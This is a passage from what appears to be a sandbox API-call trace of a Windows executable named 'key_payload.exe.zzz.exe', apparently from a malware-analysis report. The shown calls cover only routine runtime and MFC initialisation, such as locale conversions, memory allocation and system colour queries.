(hModule=0x75130000, lpProcName="FlushProcessWriteBuffers") returned 0x779f9990 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x779f5540 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentProcessorNumber") returned 0x779e9dc0 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="GetLogicalProcessorInformation") returned 0x7514a550 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="CreateSymbolicLinkW") returned 0x75170a40 [0091.678] GetProcAddress (hModule=0x75130000, lpProcName="SetDefaultDllDirectories") returned 0x74e60790 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName="EnumSystemLocalesEx") returned 0x7514f8a0 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName=0x15e31e4) returned 0x7514fa30 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName="GetDateFormatEx") returned 0x75171030 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName="GetLocaleInfoEx") returned 0x7514a000 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName="GetTimeFormatEx") returned 0x751714b0 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName="GetUserDefaultLocaleName") returned 0x7514a4f0 [0091.679] GetProcAddress (hModule=0x75130000, lpProcName="IsValidLocaleName") returned 0x751716f0 [0091.680] GetProcAddress (hModule=0x75130000, lpProcName="LCMapStringEx") returned 0x75149970 [0091.680] GetProcAddress (hModule=0x75130000, lpProcName="GetCurrentPackageId") returned 0x74de3c90 [0091.680] GetProcAddress (hModule=0x75130000, lpProcName="GetTickCount64") returned 0x75148710 [0091.680] GetProcAddress (hModule=0x75130000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0091.680] GetProcAddress (hModule=0x75130000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0091.681] GetCurrentThreadId () returned 0xf30 [0091.681] GetStartupInfoW (in: lpStartupInfo=0x8efe9c | out: lpStartupInfo=0x8efe9c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0091.681] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0091.681] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0091.681] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0091.681] GetCommandLineW () returned="\"C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe\" " [0091.681] GetEnvironmentStringsW () returned 0xadef18* [0091.682] FreeEnvironmentStringsW (penv=0xadef18) returned 1 [0091.682] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1668068, nSize=0x104 | out: lpFilename="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\key_payload.exe.zzz.exe")) returned 0x35 [0091.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x8efee8 | out: lpSystemTimeAsFileTime=0x8efee8*(dwLowDateTime=0xe1f7734c, dwHighDateTime=0x1d43868)) [0091.683] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0091.683] GetLastError () returned 0x0 [0091.683] SetLastError (dwErrCode=0x0) [0091.684] GetLastError () returned 0x0 [0091.684] SetLastError (dwErrCode=0x0) [0091.684] GetLastError () returned 0x0 [0091.684] SetLastError (dwErrCode=0x0) [0091.684] GetACP () returned 0x4e4 [0091.684] GetLastError () returned 0x0 [0091.684] SetLastError (dwErrCode=0x0) [0091.684] IsValidCodePage (CodePage=0x4e4) returned 1 [0091.684] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x8efe90 | out: lpCPInfo=0x8efe90) returned 1 [0091.684] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x8ef958 | out: lpCPInfo=0x8ef958) returned 1 [0091.684] GetLastError () returned 0x0 [0091.684] SetLastError (dwErrCode=0x0) [0091.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8efd6c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8efd6c, cbMultiByte=256, lpWideCharStr=0x8ef6d8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ‿ŕĀ") returned 256 [0091.684] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ‿ŕĀ", cchSrc=256, lpCharType=0x8ef96c | out: lpCharType=0x8ef96c) returned 1 [0091.684] GetLastError () returned 0x0 [0091.684] SetLastError (dwErrCode=0x0) [0091.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8efd6c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.684] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8efd6c, cbMultiByte=256, lpWideCharStr=0x8ef6a8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧŕĀ") returned 256 [0091.684] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧŕĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0091.684] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿḧŕĀ", cchSrc=256, lpDestStr=0x8ef498, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0091.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x8efc6c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xee\x38\xb1\x45\xa8\xfe\x8e", lpUsedDefaultChar=0x0) returned 256 [0091.685] GetLastError () returned 0x0 [0091.685] SetLastError (dwErrCode=0x0) [0091.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8efd6c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0091.685] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x8efd6c, cbMultiByte=256, lpWideCharStr=0x8ef6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0091.685] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0091.685] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x8ef4b8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0091.685] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x8efb6c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xee\x38\xb1\x45\xa8\xfe\x8e", lpUsedDefaultChar=0x0) returned 256 [0091.685] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0091.685] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x154b866) returned 0x0 [0091.687] GetCurrentThread () returned 0xfffffffe [0091.687] GetThreadTimes (in: hThread=0xfffffffe, lpCreationTime=0x8efed4, lpExitTime=0x8efedc, lpKernelTime=0x8efedc, lpUserTime=0x8efedc | out: lpCreationTime=0x8efed4, lpExitTime=0x8efedc, lpKernelTime=0x8efedc, lpUserTime=0x8efedc) returned 1 [0091.687] RtlInitializeSListHead (in: ListHead=0x166a0f8 | out: ListHead=0x166a0f8) [0091.689] GlobalLock (hMem=0x1070004) returned 0xab1b28 [0091.690] LocalAlloc (uFlags=0x40, uBytes=0x164) returned 0xab1930 [0091.690] LocalAlloc (uFlags=0x40, uBytes=0x10) returned 0xadfa90 [0091.690] LocalAlloc (uFlags=0x0, uBytes=0x8) returned 0xab0050 [0091.690] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0xaaace0 [0091.691] RegisterClipboardFormatW (lpszFormat="commctrl_DragListMsg") returned 0xc16f [0091.693] RegisterClipboardFormatW (lpszFormat="AFX_WM_DRAW2D") returned 0xc170 [0091.693] RegisterClipboardFormatW (lpszFormat="AFX_WM_RECREATED2DRESOURCES") returned 0xc171 [0091.694] RegisterClipboardFormatW (lpszFormat="AFX_WM_ON_AFTER_SHELL_COMMAND") returned 0xc172 [0091.694] RegisterClipboardFormatW (lpszFormat="AFX_WM_CHANGEVISUALMANAGER") returned 0xc173 [0091.694] GetSystemMetrics (nIndex=11) returned 32 [0091.700] GetSystemMetrics (nIndex=12) returned 32 [0091.700] GetSystemMetrics (nIndex=2) returned 17 [0091.700] GetSystemMetrics (nIndex=3) returned 17 [0091.701] GetSysColor (nIndex=15) returned 0xf0f0f0 [0091.701] GetSysColor (nIndex=16) returned 0xa0a0a0 [0091.701] GetSysColor (nIndex=20) returned 0xffffff [0091.701] GetSysColor (nIndex=18) returned 0x0 [0091.701] GetSysColor (nIndex=6) returned 0x646464 [0091.701] GetSysColorBrush (nIndex=15) returned 0x1100074 [0091.701] GetSysColorBrush (nIndex=6) returned 0x110007c [0091.701] LoadCursorW (hInstance=0x0, lpCursorName=0x7f02) returned 0x10007 [0091.701] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0091.701] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0091.701] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0091.701] VerifyVersionInfoW (in: lpVersionInformation=0x8efd9c, dwTypeMask=0x3, dwlConditionMask=0x1b | out: lpVersionInformation=0x8efd9c) returned 1 [0091.701] GetSystemMetrics (nIndex=4096) returned 0 [0091.701] GetSysColor (nIndex=22) returned 0xe3e3e3 [0091.701] GetSysColor (nIndex=21) returned 0x696969 [0091.703] LocalAlloc (uFlags=0x40, uBytes=0x54) returned 0xaae970 [0091.703] LocalReAlloc (hMem=0xab0050, uBytes=0xc, uFlags=0x2) returned 0xab0050 [0091.704] GetSysColor (nIndex=15) returned 0xf0f0f0 [0091.704] GetSysColor (nIndex=16) returned 0xa0a0a0 [0091.704] GetSysColor (nIndex=21) returned 0x696969 [0091.704] GetSysColor (nIndex=22) returned 0xe3e3e3 [0091.704] GetSysColor (nIndex=20) returned 0xffffff [0091.704] GetSysColor (nIndex=18) returned 0x0 [0091.704] GetSysColor (nIndex=17) returned 0x6d6d6d [0091.704] 